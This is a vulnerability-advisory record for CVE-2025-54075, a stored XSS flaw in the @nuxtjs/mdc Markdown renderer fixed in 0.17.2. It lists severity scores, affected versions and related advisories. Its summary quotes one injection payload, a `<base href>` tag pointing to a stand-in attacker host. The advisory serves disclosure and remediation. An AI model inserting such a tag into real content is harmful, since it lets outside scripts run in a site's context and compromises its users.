Read the docs
TI-2025-33918 Aliases CVE-2025-54075GHSA-cj6r-rrr9-fg82

mdc vulnerable to XSS in markdown rendering bypassing HTML filter. (N°4)

Priority HIGH 75CWE-79Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
None
Attack complexity
Low
Impact type
Cross-site scripting
Confidentiality · integrity · availability
Low · Low · Low
Fix status
Fixed

Attack profile from CVSS 3.1 · CNA. Fix status from CNA and GitHub. Impact type from CWE-79.

Summary

MDC is a tool to take regular Markdown and write documents interacting deeply with a Vue component. Prior to version 0.17.2, a remote script-inclusion / stored cross-site scripting vulnerability in @nuxtjs/mdc lets a Markdown author inject a `<base href="https://attacker.tld">` element. The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. Version 0.17.2 contains a fix for the issue.

Why it matters now

Exploitation Proof of concept CISA SSVC · not in CISA KEV
EPSS 0.00344 28th percentileScored 2026-11-07
Fix Fixed mdc (nuxt-modules): 0.17.2@nuxtjs/mdc (npm): 0.17.2

SSVC decision points

CISA ADP · SSVC 2.0.3

Exploitation
Poc
Automatable
Yes
Technical impact
Partial

The decision (Track, Attend, Act) also depends on your mission and well-being impact; see CISA's SSVC guide.

Affected products

VendorProductAffected versionsFixed inStatusSource
nuxt-modulesmdcbefore 0.17.20.17.2Patch availableCNA
—@nuxtjs/mdc (npm)before 0.17.20.17.2Patch availableGHSA-cj6r-rrr9-fg82
  • mdc Vendornuxt-modules Affected before 0.17.2 Fixed in 0.17.2 Patch available CNA
  • @nuxtjs/mdc (npm) Vendor— Affected before 0.17.2 Fixed in 0.17.2 Patch available GHSA-cj6r-rrr9-fg82

Remediation

  • Fix · CNA mdc (nuxt-modules) Fixed in 0.17.2
  • Fix · GHSA-cj6r-rrr9-fg82 @nuxtjs/mdc (npm) Fixed in 0.17.2 Advisory →

Timeline

  1. 2026-10-02 Threatist record created from CVE-2025-54075
  2. 2026-10-03 Alias added: GHSA-cj6r-rrr9-fg82

References

Advisory 1

Other 3

  • TI-2025-18659 Parsed HTML anchor links in Markdown provided to parseMarkdown can result in XSS in @nuxtjs/mdc CVSS 3.1CRITICAL 9.3
  • TI-2026-44231 Nuxt OG Image has unauthenticated SSRF via `fonts[].path` URL parameter CVSS 4.0MEDIUM 6.9
  • TI-2026-74652 Cache poisoning in Nuxt OG Image via unsigned image routes CVSS 4.0MEDIUM 6.9
  • TI-2026-32501 nuxt-og-image SSRF — bypass of GHSA-pqhr-mp3f-hrpp / v6.2.5 fix (IPv6 + redirect) CVSS 3.1LOW 3.7

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences